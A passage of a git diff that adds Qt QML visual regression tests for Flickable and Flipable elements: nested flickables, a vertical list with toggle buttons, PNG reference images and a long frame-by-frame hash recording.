+ height: 400
+
+ Flickable {
+ objectName: "flick 1"
+ anchors.fill: parent
+ contentWidth: width + 100
+ contentHeight: height + 100
+
+ Rectangle {
+ width: 300
+ height: 300
+ color: "blue"
+
+ Flickable {
+ objectName: "flick 2"
+ width: 300
+ height: 300
+ clip: true
+ contentWidth: 400
+ contentHeight: 400
+
+ Rectangle {
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+ color: "yellow"
+
+ Flickable {
+ objectName: "flick 3"
+ anchors.fill: parent
+ clip: true
+ contentWidth: 150
+ contentHeight: 150
+ Rectangle {
+ x: 80
+ y: 80
+ width: 50
+ height: 50
+ color: "green"
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-vertical.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-vertical.qml
new file mode 100644
index 00000000..1fd65d17
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-vertical.qml
@@ -0,0 +1,90 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "lightSteelBlue"
+ width: 200; height: 300
+
+ ListModel {
+ id: list
+ ListElement { dayColor: "steelblue" }
+ ListElement { dayColor: "blue" }
+ ListElement { dayColor: "yellow" }
+ ListElement { dayColor: "purple" }
+ ListElement { dayColor: "red" }
+ ListElement { dayColor: "green" }
+ ListElement { dayColor: "orange" }
+ }
+
+ Flickable {
+ id: flick
+ height: parent.height-50
+ width: parent.width; contentHeight: column.height
+
+ Column {
+ id: column
+ Repeater {
+ model: list
+ Rectangle { width: 200; height: 100; color: mr.pressed ? "black" : dayColor
+ MouseArea {
+ id: mr
+ anchors.fill: parent
+ }
+ }
+ }
+ }
+ clip: true
+ }
+ Rectangle {
+ radius: 3
+ x: flick.width-8
+ width: 8
+ y: flick.visibleArea.yPosition * flick.height
+ height: flick.visibleArea.heightRatio * flick.height
+ }
+
+ // click to toggle interactive flag
+ Rectangle {
+ width: 64
+ height: 48
+ y: parent.height - 50
+ color: "red"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: flick.interactive = flick.interactive ? false : true
+ }
+ }
+
+ // click to toggle click delay
+ Rectangle {
+ width: 64
+ height: 48
+ x: 66
+ y: parent.height - 50
+ color: "green"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: flick.pressDelay = flick.pressDelay > 0 ? 0 : 500
+ }
+ }
+
+ // click to toggle overshoot
+ Rectangle {
+ width: 64
+ height: 48
+ x: 130
+ y: parent.height - 50
+ color: "yellow"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: flick.boundsBehavior = flick.boundsBehavior == Flickable.StopAtBounds ? Flickable.DragAndOvershootBounds : Flickable.StopAtBounds
+ }
+ }
+
+ Rectangle {
+ width: Math.abs(flick.verticalVelocity)/100
+ height: 50
+ x: 200
+ y: parent.height - 50
+ color: "blue"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.0.png
new file mode 100644
index 00000000..b3ae1bcc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.1.png
new file mode 100644
index 00000000..0458d82d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.2.png
new file mode 100644
index 00000000..0e01afc3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.3.png
new file mode 100644
index 00000000..b256bc23
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.4.png
new file mode 100644
index 00000000..8454ed24
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.5.png
new file mode 100644
index 00000000..177a0fe9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.6.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.6.png
new file mode 100644
index 00000000..a51cffeb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.qml
new file mode 100644
index 00000000..2d362a42
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.qml
@@ -0,0 +1,1623 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "test-flipable.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "7e16e6360fc2e9db67dbf11d58042745"
+ }
+ Frame {
+ msec: 48
+ hash: "7e16e6360fc2e9db67dbf11d58042745"
+ }
+ Frame {
+ msec: 64
+ hash: "06d7f0befa7e06972983ffe87c162750"
+ }
+ Frame {
+ msec: 80
+ hash: "51dff66a7767e3464fda60f2cf906700"
+ }
+ Frame {
+ msec: 96
+ hash: "f8038dc4b67b92ef776a97589240e8c5"
+ }
+ Frame {
+ msec: 112
+ hash: "692931f1db6ddf0b37eb64026ca830f8"
+ }
+ Frame {
+ msec: 128
+ hash: "f01b7368e42381dda5eadf56482ea993"
+ }
+ Frame {
+ msec: 144
+ hash: "9811f823e057882d384f36d7227fa12e"
+ }
+ Frame {
+ msec: 160
+ hash: "9b40b6c75af876567ff49688bc710f2a"
+ }
+ Frame {
+ msec: 176
+ hash: "e97a5d968da37789c28816608fa262a1"
+ }
+ Frame {
+ msec: 192
+ hash: "2cd0627fdc63bb91f8dcac789d7a93b2"
+ }
+ Frame {
+ msec: 208
+ hash: "ae2407f8da9a047d2725bcdcf8e568b2"
+ }
+ Frame {
+ msec: 224
+ hash: "da2a1e5e988c27577ceb453cb0383703"
+ }
+ Frame {
+ msec: 240
+ hash: "90fb4e4ba04ac32b52c10b3258431c04"
+ }
+ Frame {
+ msec: 256
+ hash: "90fb4e4ba04ac32b52c10b3258431c04"
+ }
+ Frame {
+ msec: 272
+ hash: "90fb4e4ba04ac32b52c10b3258431c04"
+ }
+ Frame {
+ msec: 288
+ hash: "73c06997014af4e008b546b53fe349fb"
+ }
+ Frame {
+ msec: 304
+ hash: "262404c6e55b93c4ab940582a49f7e18"
+ }
+ Frame {
+ msec: 320
+ hash: "451a9408b04826ab35749d9120efd6bb"
+ }
+ Frame {
+ msec: 336
+ hash: "451a9408b04826ab35749d9120efd6bb"
+ }
+ Frame {
+ msec: 352
+ hash: "2d112d040fd425c59b511066737e494d"
+ }
+ Frame {
+ msec: 368
+ hash: "769d2724656dbf0e793ecd8e42db3de2"
+ }
+ Frame {
+ msec: 384
+ hash: "9e375cb3815723a2c5dda39c79325e96"
+ }
+ Frame {
+ msec: 400
+ hash: "b21e92871bf63873b8ae48a2aff47be5"
+ }
+ Frame {
+ msec: 416
+ hash: "00d08f4257f35c6236cde0597b0005e4"
+ }
+ Frame {
+ msec: 432
+ hash: "8048f84221a02e7102cf3272445862a1"
+ }
+ Frame {
+ msec: 448
+ hash: "f0d7b45f0b01319494616c1893aa940e"
+ }
+ Frame {
+ msec: 464
+ hash: "457fad89140a1dda9e70549d451482e9"
+ }
+ Frame {
+ msec: 480
+ hash: "ee0feb79e843cdb2adea72fa37ecab67"
+ }
+ Frame {
+ msec: 496
+ hash: "ece02d3590147884e697dd5228dee8c4"
+ }
+ Frame {
+ msec: 512
+ hash: "91c4ec19716a0883c8f5c25b9a0d1f42"
+ }
+ Frame {
+ msec: 528
+ hash: "a7c9860dd4962b11b92c54370ba156ee"
+ }
+ Frame {
+ msec: 544
+ hash: "a28f2590be1e8cde4cde5219367015ac"
+ }
+ Frame {
+ msec: 560
+ hash: "3b641ba58f5e1f0e1f2f528acf38cb28"
+ }
+ Frame {
+ msec: 576
+ hash: "d0b0969ad165d4784f763683de42278e"
+ }
+ Frame {
+ msec: 592
+ hash: "93968dffda327a101e2bd07b80fff842"
+ }
+ Frame {
+ msec: 608
+ hash: "08f5db4cd7f27178c67e6d973e4bb023"
+ }
+ Frame {
+ msec: 624
+ hash: "0967cad0a3ae82307a049944e1bcdc3e"
+ }
+ Frame {
+ msec: 640
+ hash: "d70ffd02b434e607bc11a95ca536c19a"
+ }
+ Frame {
+ msec: 656
+ hash: "cd561b4d5e707bb6b9f6d493f9b99512"
+ }
+ Frame {
+ msec: 672
+ hash: "58355ca37c6e4e54061664180faa11fb"
+ }
+ Frame {
+ msec: 688
+ hash: "bd873f48c79286c50333c838e57d8ec7"
+ }
+ Frame {
+ msec: 704
+ hash: "db89bc0e04ebefe5440748fe85e0bdf7"
+ }
+ Frame {
+ msec: 720
+ hash: "c400bc1e6c02c792cc515a6dd8bbaa9b"
+ }
+ Frame {
+ msec: 736
+ hash: "accf3567a161239cd8c18dd9d4527aaf"
+ }
+ Frame {
+ msec: 752
+ hash: "2e3bcdf70f160bf8e3f1b77ee472b782"
+ }
+ Frame {
+ msec: 768
+ hash: "929da0d629253478c322360c9a8dfc9e"
+ }
+ Frame {
+ msec: 784
+ hash: "d5d4b7c52ba14e84bc9c34a8b55f84b7"
+ }
+ Frame {
+ msec: 800
+ hash: "063ce927e9e7c5afb9131302ea5a968c"
+ }
+ Frame {
+ msec: 816
+ hash: "b94b6fff850aacccdaf0f74d4e36ba67"
+ }
+ Frame {
+ msec: 832
+ hash: "bac2b9b9be4b71fafe59868506aa8ab9"
+ }
+ Frame {
+ msec: 848
+ hash: "a91fed41a5a07e84424e45477f463aa1"
+ }
+ Frame {
+ msec: 864
+ hash: "370eefd369ef366f1d5930b261340d0b"
+ }
+ Frame {
+ msec: 880
+ hash: "b04a87997d0eeb6ff2f91fc2f0d016f6"
+ }
+ Frame {
+ msec: 896
+ hash: "09c3602a08d6d3e2afb654c328606871"
+ }
+ Frame {
+ msec: 912
+ hash: "101e66b9d13b1b0872cfcc497c9d6ae3"
+ }
+ Frame {
+ msec: 928
+ hash: "b5eaf952e40cf90ef32e8cb64ccce7d3"
+ }
+ Frame {
+ msec: 944
+ hash: "b43b02133ebe5db93e5236c0307939c3"
+ }
+ Frame {
+ msec: 960
+ hash: "c03406106847c03c73f5897e65690925"
+ }
+ Frame {
+ msec: 976
+ image: "test-flipable.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "a7492d8ab6fddb5c1d7af2621078230b"
+ }
+ Frame {
+ msec: 1008
+ hash: "2ed3dc7f10cc8279a6fd926914cdb234"
+ }
+ Frame {
+ msec: 1024
+ hash: "e9f76e419f6f682bcc9052183bb50607"
+ }
+ Frame {
+ msec: 1040
+ hash: "fdee6990e101d4a628272e7b09a217a3"
+ }
+ Frame {
+ msec: 1056
+ hash: "05e028b2f37a433343d373bc05f73756"
+ }
+ Frame {
+ msec: 1072
+ hash: "a9ece04666d17979408dcd8690cd697c"
+ }
+ Frame {
+ msec: 1088
+ hash: "a5d8c9bee6ac10fb45cedf3bc4325539"
+ }
+ Frame {
+ msec: 1104
+ hash: "08f1ff1e515ec78f75efa13a39b21f56"
+ }
+ Frame {
+ msec: 1120
+ hash: "f0bc6c649a195e2c433cf84c1b4f5bcb"
+ }
+ Frame {
+ msec: 1136
+ hash: "2a548614a9b38867cd0fe44985ca443f"
+ }
+ Frame {
+ msec: 1152
+ hash: "8c8272fc028ce5b403e636b4061351d3"
+ }
+ Frame {
+ msec: 1168
+ hash: "df11678b255cc3f624fed24d7e6a24af"
+ }
+ Frame {
+ msec: 1184
+ hash: "7dd5ce1cce200d7eede0f248f150873c"
+ }
+ Frame {
+ msec: 1200
+ hash: "e5cb8e0e588854dce5e7572fd1e3a445"
+ }
+ Frame {
+ msec: 1216
+ hash: "71937cd7d319174232797d05fe28bda5"
+ }
+ Frame {
+ msec: 1232
+ hash: "021c3a598b008991114b25b26191e8ef"
+ }
+ Frame {
+ msec: 1248
+ hash: "b372131d6fc29e7dbffc2c5f4e269ad7"
+ }
+ Frame {
+ msec: 1264
+ hash: "2120fc188aed6888eba85e9d49139000"
+ }
+ Frame {
+ msec: 1280
+ hash: "0523499bb4f4c6d0c3d2cd28fbac7056"
+ }
+ Frame {
+ msec: 1296
+ hash: "19d1fc79802728d6b0af222050b59463"
+ }
+ Frame {
+ msec: 1312
+ hash: "f48686053780376c7ab2e6481e3fd0ad"
+ }
+ Frame {
+ msec: 1328
+ hash: "0f7c5ca70fec90e7e8b2fd50b791fd2e"
+ }
+ Frame {
+ msec: 1344
+ hash: "93cd129be7cfebaa2ea8a074a77aaa7c"
+ }
+ Frame {
+ msec: 1360
+ hash: "e6b149da031b1c0b842b1b7872bd2d91"
+ }
+ Frame {
+ msec: 1376
+ hash: "5481248e889fb4fe9f4cf54f69d9f614"
+ }
+ Frame {
+ msec: 1392
+ hash: "23bb444b6248901da3eb6a2e805438cb"
+ }
+ Frame {
+ msec: 1408
+ hash: "1c9feb1c3ae76d4015c99d005ecfed60"
+ }
+ Frame {
+ msec: 1424
+ hash: "41e5345dc90fd48476f35ceeab281948"
+ }
+ Frame {
+ msec: 1440
+ hash: "89682a955a00e68031571ac765f9f5e3"
+ }
+ Frame {
+ msec: 1456
+ hash: "8ff7cee41c6f19eeda417052c1b071d6"
+ }
+ Frame {
+ msec: 1472
+ hash: "67a73129d828e8a05b1efc768cf40146"
+ }
+ Frame {
+ msec: 1488
+ hash: "0800a78c97c92c697e44ded54fdcf934"
+ }
+ Frame {
+ msec: 1504
+ hash: "d5d51263367f0c53b8d94a03d83338d9"
+ }
+ Frame {
+ msec: 1520
+ hash: "ab749885f356683e17ca52f904ae582d"
+ }
+ Frame {
+ msec: 1536
+ hash: "7f5a56f30222a9886d1e9d014b4f5cab"
+ }
+ Frame {
+ msec: 1552
+ hash: "10c5e64eff104dce59f54f70c5564959"
+ }
+ Frame {
+ msec: 1568
+ hash: "38b00c7544648ef06705acc2e9eca1f5"
+ }
+ Frame {
+ msec: 1584
+ hash: "56bdfcb8fbb776b3799676ba7934a354"
+ }
+ Frame {
+ msec: 1600
+ hash: "ea5349d337e397b3ee5e0db0c296f5e5"
+ }
+ Frame {
+ msec: 1616
+ hash: "6bd784ca760edba5a6f0b4212237e1e8"
+ }
+ Frame {
+ msec: 1632
+ hash: "77e7888a37a7724bded817903cbe777e"
+ }
+ Frame {
+ msec: 1648
+ hash: "55213bdb2f1f2d25b5680db95e79bbac"
+ }
+ Frame {
+ msec: 1664
+ hash: "6d62c7f7f76cc1d4e33c152234000da0"
+ }
+ Frame {
+ msec: 1680
+ hash: "0f6aa29c172054887e4ddb6512ae43b1"
+ }
+ Frame {
+ msec: 1696
+ hash: "75fd94508b77bbdde34a61b74ff49e12"
+ }
+ Frame {
+ msec: 1712
+ hash: "0dfdd9a1d83a706a09318c83fd08b6fe"
+ }
+ Frame {
+ msec: 1728
+ hash: "4f895ee983424c164be3e2db488a4e51"
+ }
+ Frame {
+ msec: 1744
+ hash: "974fd5f390d33afb779ac754f0e30b2a"
+ }
+ Frame {
+ msec: 1760
+ hash: "fd40e22c7d3cfceeee7dc668d1cf0a12"
+ }
+ Frame {
+ msec: 1776
+ hash: "4e3c04b35bcc43a4295582da1674da2e"
+ }
+ Frame {
+ msec: 1792
+ hash: "629888aae80ea85db07a383df352214a"
+ }
+ Frame {
+ msec: 1808
+ hash: "9a92c68cfad54c313d24e38240ea072f"
+ }
+ Frame {
+ msec: 1824
+ hash: "3e27569d19670ec99f11bfa46099456a"
+ }
+ Frame {
+ msec: 1840
+ hash: "5d4be9ed8c4ba7faefde5427cdbffc73"
+ }
+ Frame {
+ msec: 1856
+ hash: "232d4e03a57edf0386b06884482f9730"
+ }
+ Frame {
+ msec: 1872
+ hash: "c45f959fd81ac08add219326cb6a8bfc"
+ }
+ Frame {
+ msec: 1888
+ hash: "349111e36190f77afd53c50ee2e9ba94"
+ }
+ Frame {
+ msec: 1904
+ hash: "ea5ed48b2bcdfd2a711a3a71a4ae37c3"
+ }
+ Frame {
+ msec: 1920
+ hash: "1e8348fbb51871dffe9543fca19bb452"
+ }
+ Frame {
+ msec: 1936
+ image: "test-flipable.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "63cc3851236d5de613c85a2971ef7145"
+ }
+ Frame {
+ msec: 1968
+ hash: "45d5fdb92107a7074d56d97bda34756f"
+ }
+ Frame {
+ msec: 1984
+ hash: "f74d9a3b53a629f7fccfdd255fdbba62"
+ }
+ Frame {
+ msec: 2000
+ hash: "60c6a30e15ed4ad61c14f15f9f1f3790"
+ }
+ Frame {
+ msec: 2016
+ hash: "b5f7c630f6e61c7ddac8493e17a1f53e"
+ }
+ Frame {
+ msec: 2032
+ hash: "98558c7135fa84fa08d457c6064b8653"
+ }
+ Frame {
+ msec: 2048
+ hash: "2858e39a9b39739bb5c0c1ce23e83b20"
+ }
+ Frame {
+ msec: 2064
+ hash: "0b174f04215131cfa32b5d1a32170ac3"
+ }
+ Frame {
+ msec: 2080
+ hash: "67e3618bab95519a034ed6c8c1543212"
+ }
+ Frame {
+ msec: 2096
+ hash: "2012c5310f198022a3878c9ded08523d"
+ }
+ Frame {
+ msec: 2112
+ hash: "1cb6a1f6d873d2bfde457828c17b4886"
+ }
+ Frame {
+ msec: 2128
+ hash: "be3f28bd56d9d985408e32cc0aab0623"
+ }
+ Frame {
+ msec: 2144
+ hash: "4aa07c4887f873f0f034930bd681f9dc"
+ }
+ Frame {
+ msec: 2160
+ hash: "adeae071187b590aa0a142c27098d2f4"
+ }
+ Frame {
+ msec: 2176
+ hash: "d777aaccd6143c2c1000bbfabdbefeb2"
+ }
+ Frame {
+ msec: 2192
+ hash: "7b4785b9e6610f02c52b4c824bea8ecd"
+ }
+ Frame {
+ msec: 2208
+ hash: "c539b3638272e46120edbe4a58e1d894"
+ }
+ Frame {
+ msec: 2224
+ hash: "ae466024a1dd731b6730dda255e68eb8"
+ }
+ Frame {
+ msec: 2240
+ hash: "f844a288b009cc4c6c28eb30d799c397"
+ }
+ Frame {
+ msec: 2256
+ hash: "4fc8ca1992802f97dd431783db89c725"
+ }
+ Frame {
+ msec: 2272
+ hash: "79b899461efae97b65b8c24c8820f348"
+ }
+ Frame {
+ msec: 2288
+ hash: "cb1ce87ddc372e24e37b60c013310549"
+ }
+ Frame {
+ msec: 2304
+ hash: "c8937aea34fd299c151706598828be6f"
+ }
+ Frame {
+ msec: 2320
+ hash: "ed5c3a904dc3b72937c6eea475514b2d"
+ }
+ Frame {
+ msec: 2336
+ hash: "09043e74a3ac60d05122675a1b253320"
+ }
+ Frame {
+ msec: 2352
+ hash: "57677a33d8c60a45c64aea10a695e8d0"
+ }
+ Frame {
+ msec: 2368
+ hash: "496fe0b0e420356e4205537fdf3adc2f"
+ }
+ Frame {
+ msec: 2384
+ hash: "f4146ce8db5cf2c3da15715820c9f62f"
+ }
+ Frame {
+ msec: 2400
+ hash: "b80bc46468695b874d401c4c9bd68932"
+ }
+ Frame {
+ msec: 2416
+ hash: "b0cf0021232ab917301206614f61f0bf"
+ }
+ Frame {
+ msec: 2432
+ hash: "b0abdf5b86e3fcb22a9254ac5b522380"
+ }
+ Frame {
+ msec: 2448
+ hash: "c1624cb7e90ea26ab0c37cfe9919ca36"
+ }
+ Frame {
+ msec: 2464
+ hash: "0ffd6a3b3e5f6db5a3a8df756caf713e"
+ }
+ Frame {
+ msec: 2480
+ hash: "1604ad8e7a4aa4fa8dff1f37fc8c51d7"
+ }
+ Frame {
+ msec: 2496
+ hash: "5bbca0b79c42e263162926e5c2fd3d82"
+ }
+ Frame {
+ msec: 2512
+ hash: "9436b4f2ab902673ed067de55da5003e"
+ }
+ Frame {
+ msec: 2528
+ hash: "3c7b5fa0970242a2ad308c72d761713b"
+ }
+ Frame {
+ msec: 2544
+ hash: "15e451c53e8f5c70614f87f33fe0a2e6"
+ }
+ Frame {
+ msec: 2560
+ hash: "7e8cbe203306d2f267a42fed1e4790ed"
+ }
+ Frame {
+ msec: 2576
+ hash: "db21ae28564614b58a7dd5ccd97082e6"
+ }
+ Frame {
+ msec: 2592
+ hash: "ff52e198874de749c46f9b34cfe40cfc"
+ }
+ Frame {
+ msec: 2608
+ hash: "916d92d24a81ced07a54d68c46299d4c"
+ }
+ Frame {
+ msec: 2624
+ hash: "2f6cf122e5f15fc5f5d3c92d92ca1384"
+ }
+ Frame {
+ msec: 2640
+ hash: "6f328038e5d505c402651423c44986a5"
+ }
+ Frame {
+ msec: 2656
+ hash: "6f328038e5d505c402651423c44986a5"
+ }
+ Frame {
+ msec: 2672
+ hash: "78e0dca60c04d3defbd90457685dbab3"
+ }
+ Frame {
+ msec: 2688
+ hash: "b915de1be0c1779e06fb9eea8237f91d"
+ }
+ Frame {
+ msec: 2704
+ hash: "0ff9fd6b09fc14abacb794353b9500f6"
+ }
+ Frame {
+ msec: 2720
+ hash: "5a1c9cd9da5492a61a3a1bc6ad37ef17"
+ }
+ Frame {
+ msec: 2736
+ hash: "4c4a72eb4105903802de56a4a62d86cc"
+ }
+ Frame {
+ msec: 2752
+ hash: "6d813ee777a5900c65aca5939c004d0c"
+ }
+ Frame {
+ msec: 2768
+ hash: "6d813ee777a5900c65aca5939c004d0c"
+ }
+ Frame {
+ msec: 2784
+ hash: "0acaa3ece071ad4461cf4a79d65a0f03"
+ }
+ Frame {
+ msec: 2800
+ hash: "0acaa3ece071ad4461cf4a79d65a0f03"
+ }
+ Frame {
+ msec: 2816
+ hash: "f5cf7e68edc5fcd9dd91882d3f9ba380"
+ }
+ Frame {
+ msec: 2832
+ hash: "51f8508eddffbac2fad22bd3e8040c69"
+ }
+ Frame {
+ msec: 2848
+ hash: "a09746c72df5330f6ca2a93d9b8e79f6"
+ }
+ Frame {
+ msec: 2864
+ hash: "b2ef52b66896649413b3852bcf642e1c"
+ }
+ Frame {
+ msec: 2880
+ hash: "373141f99bc88c40ead161502c9750e9"
+ }
+ Frame {
+ msec: 2896
+ image: "test-flipable.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "b19d89aa671cc3a773f64a7bae21adb6"
+ }
+ Frame {
+ msec: 2928
+ hash: "08eb7bd2e49fe600e922e49a3aa56e93"
+ }
+ Frame {
+ msec: 2944
+ hash: "1e3a7bdd0bd9d5b84c2cb5b646d7fb45"
+ }
+ Frame {
+ msec: 2960
+ hash: "be9f5091197899c0b89823e4403358f3"
+ }
+ Frame {
+ msec: 2976
+ hash: "1daeebce8e7eef80b135d2e4f83f780b"
+ }
+ Frame {
+ msec: 2992
+ hash: "1daeebce8e7eef80b135d2e4f83f780b"
+ }
+ Frame {
+ msec: 3008
+ hash: "1daeebce8e7eef80b135d2e4f83f780b"
+ }
+ Frame {
+ msec: 3024
+ hash: "1daeebce8e7eef80b135d2e4f83f780b"
+ }
+ Frame {
+ msec: 3040
+ hash: "1daeebce8e7eef80b135d2e4f83f780b"
+ }
+ Frame {
+ msec: 3056
+ hash: "1daeebce8e7eef80b135d2e4f83f780b"
+ }
+ Frame {
+ msec: 3072
+ hash: "be9f5091197899c0b89823e4403358f3"
+ }
+ Frame {
+ msec: 3088
+ hash: "be9f5091197899c0b89823e4403358f3"
+ }
+ Frame {
+ msec: 3104
+ hash: "1e3a7bdd0bd9d5b84c2cb5b646d7fb45"
+ }
+ Frame {
+ msec: 3120
+ hash: "b19d89aa671cc3a773f64a7bae21adb6"
+ }
+ Frame {
+ msec: 3136
+ hash: "e7ed4449b5ea3288d5e8fecb33a4a422"
+ }
+ Frame {
+ msec: 3152
+ hash: "186a2c1af03e7fa590ff3cd7422285e3"
+ }
+ Frame {
+ msec: 3168
+ hash: "373141f99bc88c40ead161502c9750e9"
+ }
+ Frame {
+ msec: 3184
+ hash: "0221e2ef4cf809ebfeba466206a77cce"
+ }
+ Frame {
+ msec: 3200
+ hash: "51f8508eddffbac2fad22bd3e8040c69"
+ }
+ Frame {
+ msec: 3216
+ hash: "f5cf7e68edc5fcd9dd91882d3f9ba380"
+ }
+ Frame {
+ msec: 3232
+ hash: "0acaa3ece071ad4461cf4a79d65a0f03"
+ }
+ Frame {
+ msec: 3248
+ hash: "0acaa3ece071ad4461cf4a79d65a0f03"
+ }
+ Frame {
+ msec: 3264
+ hash: "6d813ee777a5900c65aca5939c004d0c"
+ }
+ Frame {
+ msec: 3280
+ hash: "6d813ee777a5900c65aca5939c004d0c"
+ }
+ Frame {
+ msec: 3296
+ hash: "6d813ee777a5900c65aca5939c004d0c"
+ }
+ Frame {
+ msec: 3312
+ hash: "5a1c9cd9da5492a61a3a1bc6ad37ef17"
+ }
+ Frame {
+ msec: 3328
+ hash: "0ff9fd6b09fc14abacb794353b9500f6"
+ }
+ Frame {
+ msec: 3344
+ hash: "0ff9fd6b09fc14abacb794353b9500f6"
+ }
+ Frame {
+ msec: 3360
+ hash: "6f328038e5d505c402651423c44986a5"
+ }
+ Frame {
+ msec: 3376
+ hash: "6f328038e5d505c402651423c44986a5"
+ }
+ Frame {
+ msec: 3392
+ hash: "dd04a76df90f27358f4162fd85cfa4cd"
+ }
+ Frame {
+ msec: 3408
+ hash: "12df495b5e8bfd2c9dd13fbeccc69e08"
+ }
+ Frame {
+ msec: 3424
+ hash: "4b6f9dcde7d5d88b9c3eff3187378036"
+ }
+ Frame {
+ msec: 3440
+ hash: "712f3850c0efe45c60a3761f1354b90b"
+ }
+ Frame {
+ msec: 3456
+ hash: "22215981f00790d7a409230eb730abca"
+ }
+ Frame {
+ msec: 3472
+ hash: "a4a26f9736282ceb307f0f97735002eb"
+ }
+ Frame {
+ msec: 3488
+ hash: "b41d7a18d84a8b220e99464cab86882d"
+ }
+ Frame {
+ msec: 3504
+ hash: "c7c1961120f128cd0fcd6a7b61c98197"
+ }
+ Frame {
+ msec: 3520
+ hash: "e56e7ba603d2620afb0fab6b19aff33e"
+ }
+ Frame {
+ msec: 3536
+ hash: "1a258bed9a7a38452a746d7641016e73"
+ }
+ Frame {
+ msec: 3552
+ hash: "a237b9c187bbbcb79f624d74def15db2"
+ }
+ Frame {
+ msec: 3568
+ hash: "34a7afdebb7352ca65e0eaec61632d12"
+ }
+ Frame {
+ msec: 3584
+ hash: "a5a98e932a30418bae62bb006afc1048"
+ }
+ Frame {
+ msec: 3600
+ hash: "2ee25374cb9fef01e78d02c4131010b7"
+ }
+ Frame {
+ msec: 3616
+ hash: "7956b07b848ba89905e5c609657503e2"
+ }
+ Frame {
+ msec: 3632
+ hash: "0949a2b13f6475b3f11be04321c953a1"
+ }
+ Frame {
+ msec: 3648
+ hash: "5a1ff901ecc7c3cd7f39cd07e0273dd4"
+ }
+ Frame {
+ msec: 3664
+ hash: "44fcd7209b9f5b1c28c21e9aae408097"
+ }
+ Frame {
+ msec: 3680
+ hash: "bee94f395239aebb0bacca3dbbee95e5"
+ }
+ Frame {
+ msec: 3696
+ hash: "bd26b7e2b07bbcee3819fdacc35eea8d"
+ }
+ Frame {
+ msec: 3712
+ hash: "d3707b90c5cd0d1061db4b97b6fcb96a"
+ }
+ Frame {
+ msec: 3728
+ hash: "6f6ed6c7553b3f909d53e2146b3831d5"
+ }
+ Frame {
+ msec: 3744
+ hash: "a3a1a03617d1cb5660c51bf2f18088bc"
+ }
+ Frame {
+ msec: 3760
+ hash: "6d4646f0a53800ad60d173ab9cb9010a"
+ }
+ Frame {
+ msec: 3776
+ hash: "126cae232e2fe49e3188393c2798065b"
+ }
+ Frame {
+ msec: 3792
+ hash: "e1fa758d333ffe5208365c0babff33a0"
+ }
+ Frame {
+ msec: 3808
+ hash: "f2a6156f7d6013bd4234b35c21adb074"
+ }
+ Frame {
+ msec: 3824
+ hash: "0271f66eb6d9b91a3ab8da2d728b9581"
+ }
+ Frame {
+ msec: 3840
+ hash: "464a78e75e10b62773ab64af4fc4c7aa"
+ }
+ Frame {
+ msec: 3856
+ image: "test-flipable.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "56100e9ca8d1eb7e6334e5a05ef2b94d"
+ }
+ Frame {
+ msec: 3888
+ hash: "3d15b8d662d3df82dd78590c43794337"
+ }
+ Frame {
+ msec: 3904
+ hash: "9729b36fe9dbabf0c46e78b723885530"
+ }
+ Frame {
+ msec: 3920
+ hash: "ccb8b51084cc1ef3d201887b824fb1ac"
+ }
+ Frame {
+ msec: 3936
+ hash: "d9dc9d240a6f89603a54bccd66361530"
+ }
+ Frame {
+ msec: 3952
+ hash: "0e52d92455c263493d32ffe93f242739"
+ }
+ Frame {
+ msec: 3968
+ hash: "695ab932722844b975097779e26df55c"
+ }
+ Frame {
+ msec: 3984
+ hash: "da285cba2e11db1e87d1d180e376ff8e"
+ }
+ Frame {
+ msec: 4000
+ hash: "54bd12888fc4526d310fa0a66b5ba3be"
+ }
